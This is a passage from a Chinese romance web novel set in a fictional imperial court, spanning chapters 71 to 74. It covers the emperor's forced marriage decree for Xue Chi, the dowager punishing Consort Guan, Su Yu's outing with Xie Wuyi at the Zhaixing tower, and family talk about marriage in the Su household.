尤其是关氏,心情更复杂一些。 刚才宫女尖叫时,她己经入席落座。宫女一喊,呼拉拉一群诰命都站起身了。 她当时就觉得奇怪。 这又不是菜市场,这可是皇宫,听到动静不躲着,还敢往上凑,这是嫌命长了吗。 再看后来的发展…… 苏家少有龌龊之事,但关家是大族,后宅的手段多少是懂的。 这是关贵妃算计薛迟呢,为的是让他娶昭华公主。 至于去围观的诰命们,都是关贵妃安排好的,指定人群去围观,目的就是让众人看到,把消息散出去。 到时候出于压力,薛迟不娶都不行。 “皇上驾到……” 大太监一声唱喝,在场众人,除了关太后皆站起身来。 显庆皇帝脸上含笑,一副心情很好的模样,大步而来。 “皇上万岁,万岁,万万岁……” 一众诰命请安。 显庆皇帝大手一挥,“都起来吧。” 早有太监摆好座位,显庆皇帝落座,关太后笑了,“皇上怎么来御花园了。” “刚才听太监说,薛迟和昭华一起说话,被人撞到了。” 显庆皇帝高兴说着,随即招招手,只见己整理好衣衫的薛迟和昭华公主一前一后上前来。 “是联疏忽了,只以为你们是表兄妹,打小一处玩,走的格外近些,没想到你们还有这心思。”显庆皇帝十分高兴,又看向席上的晋阳长公主,“让昭华给你当儿媳妇,你可愿意。” 晋阳长公主明显愣了一下,却很快反应过来,笑着站起身,“愿意,十万个愿意,我本还想着今年趁着太后高兴,求道旨意,现在皇上指婚,我高兴都来不及。” 显庆皇帝又看向关太后,笑着问,“母后觉得呢?” 关太后笑得优雅又得体,“皇上觉得好,自然是好的。” 昭华公主最是高兴,都不等显庆皇帝发问,直接磕头谢恩,“谢父王。” 显庆皇帝哈哈大笑,“你这孩子倒是一点都不害羞,就这么谢恩了,也不问问薛迟的意见。” 说话间,显庆皇帝笑着看向薛迟。 薛迟依然笔直站着,脸几乎是青的,双手握拳,脸上的不甘愤怒,几乎要压制不住。 他不愿意,摆在脸上的情绪,强烈到几乎要溢出来。 “薛迟。”显庆皇帝声音中透着危险。 晋阳长公主脸色变了,快步走到薛迟身边,几乎是硬拉着跪下,小声说着,“还不快谢恩。” 连着拉了三次,晋阳长公主急的都快哭出来了,薛迟终于动了,缓缓跪下来,一字一句说着,“臣领旨。” 显庆皇帝终于高兴起来,“好,着宗人府准备,尽快完婚。” “皇上!” 急切的声音,苏钰几乎是本能的站起身来。 所有人的目光瞬间看过去,都带着不可思议,尤其是关氏,都快吓死了。 这是皇帝赐婚,薛迟都答应了,苏钰这是疯了吗。 尤其是薛迟,他死死盯着苏钰,眼中的灼热几乎要把她烧伤。 晋阳长公主魂都要吓飞了,几乎要死死抱住薛迟。 别发癫,千万别癫,今天这种场合,闹不好就大家一起死。 显庆皇帝打量着她,眼中有几分疑惑,身边大太监小声提醒着,“这是苏钰,苏姑娘,英国公的独女。” 显庆皇帝这才一副恍然的模样,笑着说,“怪不得看着这么眼熟,原来是苏天翊的女儿,这模样是像你父亲。今天是初一,你这是要讨赏吗?” “我……” 苏钰蠕动着嘴唇,神情有些茫然,好像在梦游,又好像魂魄离体了。 薛迟要成亲了,皇帝指婚。 不答应是要杀头的,薛迟没有错,他再是皇帝的外甥,再受宠,也抵抗不了皇权。 心里这么想着,但是本能反应一般,她就这么站起身来。 想说什么呢,替薛迟抗旨吗? “小女是想向皇上道喜。”慕容宁的声音传过来,她一身监察寮的官服,看神色是匆匆而来,“拜见太后,皇上,贵妃……” 显庆皇帝笑着,心情十分畅快的模样,“好,道喜好,赏,都有赏。” 一句都有赏,所有诰命都站起身来,齐声谢恩。 初一朝贺,就好像一场大戏,到此终于结束。 关太后和显庆皇帝离开,宴席散场。 关贵妃和昭华公主最高兴,尤其是昭华公主,特意走向苏钰,刚想开口,慕容宁就道:“贵妃,公主,我带女儿回去了。” 关贵妃并不想惹慕容宁,今天目的己达成,笑着道:“楚王妃有空常来宫里,太后甚是想念你。” 关贵妃带着昭华公主离开,引路太监领着众诰命往外走,慕容宁找到关氏说着,“我带钰姐儿回王府。” “如此甚好。”关氏说着。 她也觉得苏钰这种情况,跟着慕容宁走合适。 出了御花园,慕容宁唤来管事大太监,片刻后就有车驾驶来。 身为楚王妃,她在宫中行走时,是可以坐车驾的。 母女俩一起上车,不等坐稳,苏钰的眼泪就不知不觉中落了下来。 苏家祖传恋爱脑,爱上就会颠。 哪怕是己有心理准备,也没有想过太长远。亲耳听到薛迟要娶别人的消息,依然会伤心难受,甚至想替薛迟抗旨。 “哭吧,哭完也就过去了。”慕容宁说着。 少女的情怀总是诗,爱情有时候就是这么没有道理。 这样也好,彻底死心了,不合适的人早点放下。 天下间的好男人多了,这个没缘份,还有下一个。 *** “啪!” “啪!” 清脆的耳光声在慈宁宫正殿响起,关贵妃两边脸颊迅速肿了起来。 海公公打完耳光,退至一旁。 关太后端坐凤椅之上,向来喜怒不形与色,此时面色阴沉,仿佛能滴出水来。 “姑母……” 关贵妃只觉得脸上火辣辣地疼,心中更是翻涌着惊涛骇浪。 身为贵妃,平日里高高在上惯了,向来说一不二。如今却被奴才打了,脸上心上如何过的去。 而且今日之事,皇上己经赐婚,薛迟马上就要娶昭华公主,目的己经达到了。 这两记耳光打她的心惊又莫名。 “你是越来越不像话了,我是怎么说的,把苏钰骗进偏殿,关起来即可。”关太后说到此处,火气几乎要压不住。 “你给大皇子下药,竟然想毁她清白,幸好谢无衣出现解了围。不然真出了事,你是打算拿命偿吗。” 关贵妃懵在当场,下意识辩解着,“她母亲慕容宁……” 她只有昭华公主一个女儿,只是嫁给薛迟,薛迟的心还在苏钰身上,夫妻也难和睦。 只有把苏钰嫁掉了,她才能安心。 大皇子再是傻子也是皇子,总不能因这事杀了皇子,生米煮成熟饭,最后也就是成亲遮丑。 把苏钰嫁给一个傻子,想想就解气。 “她是苏天翊的独女,你是想逼他造反吗。”关太后打断关贵妃,语气罕见的凌厉。 慕容宁一个外族质子,她眼前的得势只因显庆皇帝需要她,慕容氏不会为一个外孙女打上京城。 真正需要忌惮的是苏天翊,他离京城十年,谁知道他在外面做了什么。苏家又有军权在手,武将文臣皆在朝中担任要职。 显庆皇帝只晓得她提携娘家,关家势大,他就没想过苏家的崛起对皇权的影响。 关贵妃怔在当场,仿佛才想到苏天翊。 当即低下头,捂着脸颊,泪水在眼眶中打转,却又不敢反驳,低声抽泣着。 关太后深吸一口气,继续说道:“从今日起,你就在自己宫中禁足思过,没有我的命令,不准踏出宫门一步!” “你身边的那些蠢材,我会处理干净。” “姑母!” 只是禁足,关贵妃是不怕的,关几天而己。 但她身边使唤的人,都是养了许久的心腹,要是全没了,以后行事就不方便了。 “闭嘴,回宫反省。”关太后怒声说着。 关贵妃见关太后动怒,心中满是委屈和不甘,也不敢发作。 “嫔妾告退。” 关贵妃小声说着,行礼退下。 从慈宁宫出来,委屈如潮水般涌上心头。 想到苏天翊,关贵妃心中闪过一丝后怕和担忧。 但是,两记耳光,禁足,还要清理她身边的人…… 说来说去,都是苏钰的错。 如果没有苏钰,就不会有这些麻烦。 第72章 第 72 章 初一的太阳落下去,…… 初一的太阳落下去, 初二的太阳升起来。 京城的新年应酬,从初二开始,不是摆宴就是坐席,十分忙碌。 苏钰很清闲, 在楚王府住到初十, 主要是避开吃席会客。 世家大族过年, 只是亲友之间相互吃席, 就能吃到十五。 席上免不了八卦,而现在京城最大的八卦…… “薛迟有什么好的, 谢无衣那样貌身段,比他强多了。”楚王爷说着,脸上还带着气愤。 薛迟要娶昭华公主了,皇上赐婚,自然没人敢议论。 但悄悄议论苏钰的可多了, 再倒贴男人也没用,皇上赐婚,就这四个字就决定一切了。 尤其是关贵妃和昭华公主那个得意样, 实在让人生气。 苏钰表情很木然, 除了木然, 她也不知道如何应对。 哪怕是年节,皇室成员之间的来往, 也十分有讲究。生怕多说一句话, 就被扣上造反的罪名。 楚王爷就更省事,索性都不来往。 这些天来,苏钰过的很安静,连宜宁郡主都不敢到她面前乱说话。 倒不是楚王爷多有威严压住她,而是慕容宁的所做所为, 让宜宁郡主和陈侧妃真的怕了,秦昊都不敢上前凑。 然后,挨到今天,楚王爷好像忍不住一般,终于开口,口若悬河的讲了快一个时辰了。 “钰姐儿,你有心事一定要说出来,说出来也痛快些。”楚王爷苦口婆心说着。 不,我什么都不想说,苏钰心里默默说着。 什么都没说,楚王爷就说了这么多,她一旦说话,楚王爷话就更多了。 她会住王府是想躲个清静,不想听任何念叨。 “王爷,谢无衣谢大人求见。”管事过来传话。 楚王爷顿时大喜,“快请进来。” 说曹操,曹操到,谢无衣也不比薛迟差多少。 虽然有薛迟的时候,他是备胎,现在薛迟跑了,备胎就可以转正了。 苏钰愣了一下,谢无衣怎么这时候过来? 片刻后,管事领着谢无衣进门。 今天的谢无衣有些格外不同,以前见他不是官服,就是常服。 今天好像是打扮过了,他原本就生的好模样,此时更像是画中走出来的贵公子。 “拜见王爷。” 谢无衣礼貌请安,却偏头看一眼苏钰,眉眼含笑,配着他那张脸,真真是面如春花。 楚王爷十分高兴,“这个时候过来,可是晋阳有什么事?” “长公主一切安好,是我自己来的。”谢无衣说着,“过年了,来给王爷请安。” “给我请安?以前怎么不见你来啊。”楚王爷笑着,却是看向苏钰,“正好,钰姐儿说要出去玩,你们年龄相仿,肯定能玩到一起,你就陪她出去吧。” 谢无衣就报着这个念头来的,但楚王爷这样直接说出来,依然让他稍稍愣了一下,不禁看向苏钰。 己经听楚王爷念了半天经的苏钰马上道,“我去。” 她要是不去,不敢想接下来的日子。 “好,好。”楚王爷连声说着,又吩咐管事,“备马,你们骑马去。” 苏钰愣了一下,“不备车吗?” 现在还没出正月,天气挺冷的,骑马哪里有坐车舒服。 “骑马好,坐车里没人看到。”楚王爷说着。 苏钰跟谢无衣骑着马在京城转一圈,尽可能的让京城显贵们看到。 薛迟娶别人,苏钰也能嫁别人。谁离了谁都能活,还能活的更好。 苏钰又是一呆,她以前怎么没发现,楚王爷还是如此的妙人。 谢无衣也被楚王爷吓了一跳,又觉得如此甚好,“是,我们骑马去。” 苏钰回听雨楼换了外衣,因为要骑马,苏钰没换男装,而是换了西北的骑装。 外族少民,男女皆精通骑射,女装一样方便骑马。 “你这身装束,我还是第一次看到。”谢无衣看到苏钰时,多少愣了一下。 与慕容宁相比,只有一半外族血脉的苏钰,五官更中原化,五官隐约有外族的轮廓。 现在特意换个骑装,异族的感觉就来了。 “我也是第一次在外面这样穿。”苏钰笑着,“不好看吗?” 主要是以前骑马穿男装,坐车穿女装。 现在楚王爷安排她和谢无衣一起骑马,穿男装不合适,但大周的女装没办法骑马。 “好看,很好看。”谢无衣笑着说。 不但好看,还非常新鲜,给人耳目一清的感觉。 出了皇城,苏钰和谢无衣上马,新年的关系,街上人并不多。 “去哪?”苏钰对谢无衣说着。 总不能真骑着马绕京城一周吧,做人不能太疯颠。 “品花楼?”谢无衣说着,那里京城的显贵最多,消息最灵通。 他和苏钰过去转一圈,不到下午全京城都知道了。 苏钰有点不想去,熟人太多,“除了品花楼,京城就没有能玩的地方了吗?” “当然有,跟我来。”谢无衣笑着,一马当先前面带路。 苏钰紧跟其后,因为是街上,两人骑马的速度都不快。 京城的街道两人都熟的很,东拐西拐,苏钰远远的看到一处被大火烧过的建筑群。 “这是哪家?”苏钰惊讶不己。 能在京城这种寸土寸金的地方,拥有五进以上大院的人家,绝对非富即贵。 这种人家,就是失火,那么多下人都在,怎么也不能烧成这样。 五进宅子几乎烧干净了,神奇的是,竟然没有波及邻居家。 这要是真意外,苏钰能生吃活人。 谢无衣脸上闪过一丝怪异,虽然想伪装一下,言语间却有点吱唔,“除夕那天晚上的事,说是下人放炮时,不知道怎么回事,引发了爆炸。” “放炮?”苏钰脱口而出,“这是放炸药吧。” 炸药十分珍贵,她会知道也是因为苏家是武将世家。 “京都府尹己经在查了。”谢无衣含糊说着。 苏钰偏头看着谢无衣,眼中带着古怪,“你有事瞒着我?” “也没什么好瞒的。”谢无衣索性直言。 出事的是李府,原户部尚书李大人的府邸,也是慕容宁公布出来的,军需案最大的后台。 除夕当天,在路上埋伏,截杀苏钰的,就是李大人的儿子李甲。 事情的经过,据幸存者说,除夕守岁,子时要例行放鞭炮迎新年。 放炮的是李府的管家,四十出头,最是稳重老成的年龄。 然后,一声巨响,火光四溅,李府就失火了。 起火之后,不止李家人,连邻居都帮着救火了。但不知为什么,火就是越烧越大。 李大人倒是活下来了,但他三个儿子全部烧死,孙子也死伤过半。 至于姬妾下人没有细数,按最终统计人数,死伤超过百人。 一个除夕,白天当街刺杀,晚上爆炸失火。 据说京兆尹傅大人的头发都白了,京城治安变成如此,他该自杀谢罪。 傅大人当然没有自杀,但己经上报朝廷,因为牵扯到李大人,希望和监察寮查办的军需案合并。 李大人既是苦主又是罪犯,又是前户部尚书,不是他一个小小的京兆尹可以审理的。 “这位傅大人,倒是个聪明的。”苏钰有几分自言自语说着。 案情复杂,疏理起来太困难,那就索性不疏理了,与更复杂的案子放一起,拉更多的人一起下水。 乱上加乱,能水落石出最好。查不出真相,或者真相不好诉诸于众,趁着军需案定案的时候,也跟着胡乱结案,事情也就完了。 “别管这些烦心事了。”谢无衣笑着说,“我们到了。” 苏钰抬头看过,“摘星楼”三个字就在眼前。 “这里倒是合适。”苏钰笑着说。 品花楼是仕子学士准备的,那就摘星楼就是为了武将军士开的。 武将不如文士会宣传,以名望来说,摘星楼远远不如品花楼。 但真论营业额,摘星楼可是一点都不差。 “谢大人……” 门口迎宾的小子看到谢无衣,马上迎了上来,又看到苏钰时,多少愣了一下,笑着道:“是苏姑娘,我们摘星楼来贵客了。” 随着小子的一声喊,很快摘星楼掌柜都迎了出来,“苏姑娘好,给苏姑娘请安。” 苏钰愣住了,这是什么情况,这是她第一次来摘星楼,掌柜这态度也太好点了吧。 不由的偏头看向谢无衣,“这是你搞的?” 为了逗她开心,所以提前买通了掌柜。 “哪里还需要我,你不知道吗,苏邑可是楼里的武魁。”谢无衣笑着说。 品花楼是仕子的天下,自然要作诗论才学。摘星楼是武将的天下,肯定要拼个拳脚功夫。 而且自古以来,文无第一,武无第二。诗词谁写的好,还得争一争。 武功谁第一,直接打就知道了,不存在争议。 苏邑是今年新出炉的武魁,被受推崇之所在。 苏钰本就是京城名人,又是苏邑的堂姐,她来了,那是给摘星楼添光,掌柜恨不得跪迎。 “阿邑?”苏钰十分意外。 谢无衣笑着,却是把声音压低,“悄悄告诉你,我没有参加。” “说的好像参加就能赢他似的。”苏钰笑着说。 说话间两人下马,自有小厮接了缰绳,牵马到后院,谢无衣领着苏钰进门。 与品花楼的精致不同,摘星楼更宽敞,更豪放,中间摆着擂台,摆台四周写着今年的前三甲。 苏邑做为武魁,名字在正中间,最大最显眼的位置。 “阿钰?” 叶峰从包厢里走出来,听到掌柜喊的时候,他还以为听错了。没想到真是苏钰。 “二哥?你怎么也来这里了。”苏钰有些意外。 新科状元不应该去品花楼吗。 “朋友邀约。”叶峰说着,目光看向谢无衣,“你们一起的?” 谢无衣笑着点点头,“嗯,我去楚王府找苏姑娘,王爷让我们出来玩。” 他是经过长辈同意才带苏钰出来玩的,不是私自拐出来的。 叶峰看看苏钰,又看看谢无衣,“也好,我跟朋友喝酒,你们好好玩。” 因为赐婚之事,苏钰肯定难受,他本来还想着,等下了十五找个机会,送个礼物,或者带苏钰出去玩散散心。 没想到…… 无缝衔接谢无衣,也挺好的。 第73章 第 73 章 摘星楼可玩的项目很…… 摘星楼可玩的项目很多, 武将不像文人,主打一个豪爽直接。 苏钰虽然是第一次进,但苏家本就是军功起家,苏邑, 叶峰又是常客, 融入的非常快。 要不是谢无衣拦着, 苏钰都想去后院, 叫两个当红歌伎舞一曲。 “出门走走,果然开心不少。”苏钰笑着说。 冷静十天了, 她是该出门散心了。 因皇上赐婚而结束的感情,是不得己,不存在谁背叛谁。 这种时候只能想开,或者强行安慰自己,反正也没想过跟薛迟成亲, 他早晚都要娶别人,早点结束也是好事。 至少慕容宁和谷夫人都放心了,怪不得一直跟她说, 薛迟不合适。 要当驸马的人, 确实不合适。 “一个薛迟而己, 没什么了不起的。”谢无衣说着,“以后我陪你玩。” 苏钰不禁笑了, 又想到那天晚上谢无衣翻窗找他, “手臂上的伤好了吗?” “早好了,你不提,我都快忘了。”谢无衣不当回事说着。 苏钰看着他,神情有些感慨,“以前总是跟你争执, 我也有许多不对的地方。” 以前跟谢无衣见面,冤家对头一样,就没有好的时候。 谢无衣在品花楼跟薛迟打架,她更是震惊到无以复加。 打什么啊,为什么要打架。 转折点在那天谢无衣翻窗来安慰她,她心里一直想着薛迟,或者说希望薛迟会来。 结果他没来,谢无衣来了。 然后,薛迟被赐婚,谢无衣陪她出来玩。 少女的心思你别猜,少男的心思更难猜,回想以前,苏钰是真没往这方面想过。 “你也知道自己不对啊。”谢无衣说着,言语间带着委屈。 两年笔友,就因为一个薛迟,说不认就不认了。 幸好他有气量,不跟苏钰计较。 “前尘往事一笔勾消,以后大家好好相处,不吵架了。”苏钰说着。 “我会让着你的。”谢无衣大方说着。 苏钰笑,因为气氛很好,她就不吐槽谢无衣了。 以前那些争执,她可真没看出来谢无衣会让着她。 在摘星楼吃了中午饭,苏钰就要回去了。 她该回苏家了,不想听楚王爷念经,也不想总是躲着,该面对的总要面对。 谢无衣送她回楚王府,“元宵节我去找你,我们一起去看灯。” 苏钰脸色顿时一僵,神情难看,“我们家是不过元宵节的。” 谢无衣愣了一下,回想与苏钰两年通信间,提过各种节目,却从来没提过元宵节。 谢无衣送回苏钰回楚王府,楚王爷十分开心,俩人在摘星楼玩了半天,不到明天早上,整个京城都知道了。 以后谁还敢大嘴巴说苏钰倒贴都贴不上,苏钰备胎多着呢。 “正值青春年少,就要多出门玩,总是闷在家里什么意思。”楚王爷高兴说着。 谢无衣笑着道:“我跟苏姑娘约好了,以后会常出门玩。” “好,好……” 楚王爷正欲再说,就听脚步声响起,慕容宁一身官服从后门进来。 看到慕容宁,屋里三人,包括楚王爷都立即坐直了身体。 “母亲。”苏钰说着。 谢无衣恭敬行礼,“慕容大人。” 慕容宁看看苏钰,又看看谢无衣,再看一眼楚王爷,突然觉得有些头痛。 “时候不早了,你该回去了。”慕容宁对谢无衣说着,十分不客气的逐客令。 谢无衣十分乖巧,“下官告辞。” 等谢无衣出了门,慕容宁就道:“他与薛迟同出一府,晋阳长公主早放出话来,要给谢无衣定亲。” 虽然下一个更好,但也得看看下一个是谁。 晋阳长公主精着呢,怎么可能会让谢无衣跟薛迟的心上人来往。 “我没想那么多。”苏钰说着。 与薛迟算是无声结束了,至于与谢无衣要不要开始…… 她连感情还没理清楚,身份什么的,更没考虑。 “薛迟要尚主就让尚,谢无衣的亲事,虽然要听晋阳的,但也不用完全听她的。”楚王爷说着,“外头的闲话说的那么难听,有人陪着钰儿出门玩也挺好的。” 不蒸馒头争口气,与谢无衣有没有结果不重要,重要的是,眼下苏钰需要。 “够了。”慕容宁打断楚王爷,心头烦乱不己,又不知道如何跟苏钰说起。 她是希望苏钰能放下薛迟,但不能这么快,哪怕是演一演。 为了薛迟都差点要顶着杀头的罪名抗旨了,招惹到这种程度,哪怕不是苏钰的原因,了断时也要温柔一些。 无缝衔接谢无衣…… 别说晋阳长公主头大,她头都要大了。 “母亲,我与谢无衣真的没什么。”苏钰说着,她很少见慕容宁脸色这么难看,又想到她此时公事烦心,“若是你觉得不妥,我会与他少见面。” 因为楚王爷念经念的太烦,答应与谢无衣出去玩时,她真没想太多。 她怎么都没想到,会让慕容宁这么难做。 “那就别见面了。”慕容宁说着,“只怕想见你也见不到,晋阳长公主肯定会盯死他。” 苏钰低头不语,有几分心虚。 她确实是欠考虑了,慕容宁早就提醒过她的,谢无衣与薛迟同出一府,类似兄弟,不可能跟薛迟结束了再找谢无衣。 “算了,不早了,你也去休息吧。”慕容宁对苏钰说着。 “是。”苏钰应着,看慕容宁心情欠佳,也没提走的事,明天早饭后再说不迟。 *** 谢无衣心情很好,骑马回到晋阳公主府,把马交给角门的小厮时,只差要歌唱了。 慕容宁似乎不太待见他,不要紧,只要苏钰待见他就好了。 倒是苏家不过元宵节这点有点奇怪,肯定有什么别的理由,要打听打听。 “你这个孽障!” 薛驸马一声暴喝,随之而来的却不是薛驸马熊掌大的拳头,而是一张大网,直接把谢无衣罩住。 随即十几个手持棍棒的府兵冲了过来,另有数名府兵控制大网,避免谢无衣挣脱。 谢无衣懵了,怎么也没想到回自己家会是这个待遇,冲着薛驸马吼起来,“老头,你又疯什么。” “是你疯了!”晋阳长公主怒声吼着,直接抢过府兵手里的棍棒就往谢无衣身上招呼,“我跟你说了多少次,别去找苏钰,你为什么就是不听,你是不是想气死我。” 一直以来,在谢无衣的教育上,都是薛驸马冲动动手,晋阳长公主拉架兼骂薛驸马。 晋阳长公主这是第一次亲自动手,棍棒落到谢无衣身上时,眼泪也跟着掉下来。 她到底上辈子做了什么大孽,摊给她这么一个孽障。 谢无衣被大网罩着躲不了,棒棍落身上是真疼,嘴却依然没有闲着,“以前是因为薛迟,现在薛迟都要尚主了。” “皇上指婚的时候,苏钰都要站起身来抗旨了,她喜欢的是薛迟,你怎么就听不懂呢。”晋阳长公主边说边哭。 指婚那天晋阳长公主就在现场,薛迟当时的情绪在暴发的边缘。 想想也能明白,一个姑娘家都能冒着杀头的风险,拼着抗旨都想争取一把,哪怕后来被慕容宁打断了。 这种情义,男人能记一辈子,尤其薛迟这种男人。 “现在整个京城都在笑话她,尤其是昭华公主,四处造谣说她种种不堪。”谢无衣大声说着,“我与她相识数年,就是朋友义气,我也该为她争这一口气。” 昭华公主性格跋扈,从来不知道见好就收。因为薛迟,对苏钰积怨甚深。 现在皇上指婚,昭华公主终于得意了,她不敢真对苏钰做什么,就开始造谣。 “她是慕容宁的女儿,还会怕几句谣言。”晋阳长公主怒声说着,“明天我就叫官媒婆来,把你和雨梓的婚事定下来,父母之命,媒灼之言,由不得你不同意。” 更重要的是,只要亲事定下来了,以苏钰的性格肯定会跟谢无衣避嫌。 连薛迟,倾心相爱的男人,在婚事定下来后也自动保持距离,更何况谢无衣。 “哪个媒婆敢上门,我打断她的腿。”谢无衣顿时急了,“我的婚事,我自己做主,哪里需要你们管了。” 晋阳长公主听着越发伤心,怒声吼着,“我还不能管你了吗。” 听到外头人说,谢无衣跟苏钰一起,在摘星楼玩了半天,京城许多人都看到了,她差点一口气没上来直接过去。 京城那么多好女子,为什么是苏钰。谢无衣看上谁不好,非得跟薛迟争。 “你让开,让我打死他,免得累死父母。”薛驸马怒声上前,就要对谢无衣动手。 谢无衣被大网罩罩着,本就无处可躲,当即挺身说着,“好啊,我就站在这里,你打死我啊。” 薛驸马提掌就要打,谢无衣站着一动不动,直瞪着薛驸马。 薛驸马气的全身发抖,手掌到底没落下去。 “我与他说几句。” 突然一句,只见薛迟缓步走过来。 与平常的内敛温厚不同,他双目赤红,神情好像崩紧的弦。 目光直视着谢无衣,从小一起长大的情义,让他从来没把谢无衣当成对手看过。 直到现在,他才发现,谢无衣竟然生的一副好样貌,全身上下看着都如此讨喜。 晋阳长公主与薛驸马不禁变了脸色,晋阳长公主本想上前说几句缓合一下。 “你都要尚公主了。”谢无衣大声喊着。 薛迟声音冷漠,“我会娶苏钰。” 第74章 第 74 章 关氏病了,被除夕白天行…… 关氏病了, 被除夕白天行刺狠吓了一通,然后守岁,初一朝贺,这么一通折腾下来, 回到国公府后就病了。 关氏的身体一向很好, 乍然生病, 又是冬天, 病情来势汹汹。 谷夫人暂理家务,因谷夫人还在孝期又在病中, 对外应酬年节吃酒能推的就推了,推不掉的,就劳烦叶氏代为招呼。 今年二房虽然在叶家过年,不住一处,但总是一家人, 往常招呼亲友时,关氏也会提前叶氏商议好,免得请重了, 凭添许多麻烦。 “母亲, 该吃药了。” 苏玫端着碗药进来, 没让丫头们伸手,亲自侍奉。 关氏十分欣慰, 女儿长大懂事了, 也孝顺了,接过药碗,却是道:“过年事务多,你是新媳妇,该在婆家。” 虽然看不上贺家, 但既当了人家的媳妇,该有规矩也该守。 “贺家人口多,不差我一个。”苏玫不当回事说着,“还是父亲和母亲重要,理他们做甚。” 苏家人少钱多,每到过年过节,日子过的跟撒钱似的。 所有东西全部用好的,用新的,侍侯的下人也都有两身新衣服,多发一个月的月钱,保证上上下下都开心。 而贺家,新媳妇第一回在婆家过年,苏玫就有种开眼了的感觉,尤其是她的婆婆贺二太太。 贺英送贺小妹去庙里修行,虽然嫁人没成,贺英却把她的嫁妆保住了。 女儿的嫁妆,按理说应该交给母亲,也就是贺二太太管理。结果贺英把这份嫁妆交给她,并千万拜托一定要好好照看。 苏玫有钱,贺小妹这点嫁妆,她看不在眼里。 回想到贺小妹出嫁那天,贺老太太,贺大太太,贺二太太就因为钱撕逼,苏玫想想也答应了。 因为对贺英没滤镜了,恋爱脑也己经脑死亡,苏玫对于贺家更像是乐子人围观奇葩。 闲着也是闲着,看你们怎么撕逼。 果然,贺二太太很快来了,先是拿身份压人,不外乎是小姑子的嫁妆该由婆婆保管,年轻嫂子哪能管。 苏玫懒得搭理她,因为贺二太太一直纠缠,毕竟是婆婆,张婆子都建议不如给贺二太太一点银两,至少面子上过的去。 这倒不是张婆子向着贺二太太,而是贺二太太是真穷,娘家一堆吸血鬼,年前打秋风把贺二太太刮干净了。 现在过年贺二太太别说新首饰,新衣服都没有,过节的礼都拿不出来,赏赐下人就更不用说了。 一个太太活成这样,连带着苏玫这个儿媳妇都跟着丢脸。 苏玫却不这么认为,贺英都不觉得自己亲娘丢脸,她有什么好丢脸的。 而且贺家上上下下都穷了,都穷一起了,谁都不说谁。 银子是好物,自己吃喝玩乐多开心,干嘛要给不相关的人。 苏家下人过去报信,说关氏病了时,贺二太太正在她屋里闹。 因挂心关氏,苏玫便丢下贺二太太回了苏家。 贺家的那些破事,闲了看一眼当看戏,有正经事忙,都不值得她撇一眼。 “跟婆婆关系不能太僵硬了,日子总得过下去的。”关氏劝着她,“就是要闹僵,也得生了儿子后。” 和离不成,与苏天佑和解后,她本以为苏玫会好好跟贺英过下去。 在男人里,贺英不算是差的。 但苏玫没有,她对婚姻的态度变得很儿戏。 这回她生病,苏玫以侍疾为借口,从初三住到现在。 贺英亲自来接两回了,都没回去。 虽然有娘家当靠山,但女子最终靠的还是儿子。 孩子得跟丈夫生,儿子生下来了,哪怕是靠着娘家养,也得先生出来。 闹的太僵了,子嗣单薄,眼前无碍,将来可是要吃大亏的。 至于有了儿子后,婆婆丈夫都可以靠边了。 “我还年轻,大夫也说,得养几年再好有身孕。”苏玫说着,“再不然还有通房丫头,让她们多生几个,我挑个伶俐的养就是了。” “那能一样吗,别人生的贴不到自己身上。”关氏言语间带着严厉,“可不能这么想,孩子得养自己的。” 亲生的,跟丫头生的能是一回事吗,感情上也差远了。 她和苏天佑的婚姻过到现在,她最欣慰的就是有这一双儿女。 要是孩子都不是亲生的,她只怕要疯了。 苏玫不想惹关氏病中生气,连连点头,“等我养好身子,肯定要有自己的孩子。” 关氏这才放下心来,“你还年轻不能明白,到我这岁数就知道,自己的孩子有多要紧。” 提到孩子,苏玫问着,“越哥儿呢,这几天怎么都不见他。” 关氏病着,苏越该过来侍疾才是。 “去叶家了。”关氏说着,“宾客全去了叶家,老太爷让越哥儿帮着招呼宾客。” 这也是苏震岳的好意,苏越眼看着就十五了,要懂得应酬了。 苏玫听得点点头,却是道,“越哥儿的婚事,母亲打算明年就办?” “都下聘了,灵灵比越哥大两岁,我是想着早点办了婚事也好,我也有个臂膀。”关氏说着。 “母亲可曾问过越哥儿的意见?”苏玫说着,心里并不看好这门婚事。 与关灵灵的家庭背景无关,只是觉得,苏家人祖传恋爱脑,容易发颠。 娶个真心喜欢,不一定有好结果,但娶个不喜欢的,那肯定不行。 “越哥儿是孝顺孩子,他说了,他同意婚事。”关氏欣慰说着。 与苏天佑是夫妻情绝,但儿女都很好。 苏玫现在孝顺了也懂事了,等苏越娶了媳妇,她把管家事务交给媳妇,也享享老太君的福。 “二哥和三哥都还没成亲,母亲何必如此着急。”苏玫说着,“越哥儿明年才十五,这么早成亲,万一哪天遇到真爱,吵闹休妻和离,可要如何是好。” 就苏家现成的例子,婚前闹可怕,婚后闹会更可怕。 苏天佑是婚前就闹腾,真爱另嫁,他伤心欲决之后,跟关氏还能凑和着,至少没和离。 苏震岳和苏天翊都是婚后闹的,哪怕是大周开放,休妻和离也是要付出代价的。 抛妻弃子,代价是放下一切离开京城。 万一苏越也有样学样,关氏就这么一个儿子,丈夫靠不上,到时候要怎么办。 “不会,越哥儿向来孝顺。”关氏说着,心里却有几分打鼓。 苏玫道:“我劝母亲还是再考虑考虑。” 孝顺有什么用,真爱来了,敌不过。 其他家的儿子,娶个媳妇,生个儿子,父母就放心了。就是小两口不和,多纳两个妾也就凑和过了。 苏家男人闹起来,那是直接抛妻弃子,杀伤力太大,婚姻一定要十分谨慎。 “我是想着,有个媳妇能栓住越哥儿的心,好好读书,考个功名。”关氏说着,“好好走仕途,别总是舞刀弄剑的让我担心。” 苏玫有些意外,几乎是脱口而出,“母亲怎么会认为,能管的了越哥儿?” 虽然这话说的很不孝,但当时她闹着嫁贺英时,苏天佑和关氏都拦不住。 现在到苏越,关氏怎么就认为自己能住管住了? 关氏顿时哑然,是啊,她连苏玫都管不住,怎么有自信能管住苏越。 就是眼前苏越听她的,过几年遇到一个真爱,闹腾起来,又要如何是好。 “大姑娘来了……” 小丫头打起帘子,苏钰进屋。 她刚回府就听说关氏病了,连忙让绿川开库房找了珍贵补品,换了衣服过来。 要不是她连累关氏,关氏也不至于病这么一场。 “姐姐来了。”苏玫起身相迎。 “妹妹在呢。”苏钰笑着道:“我刚回来,听婆子说了,才知道三太太病了。” 说话间,绿川把补品交给丫头,丫头拿到关氏面前,关氏看了一眼,丫头才收起。 “你这孩子,还如此客气。”关氏笑着,脸上却有几分担忧,“还以为你会在王府多住些日子,老太太也一直念叨着你。” 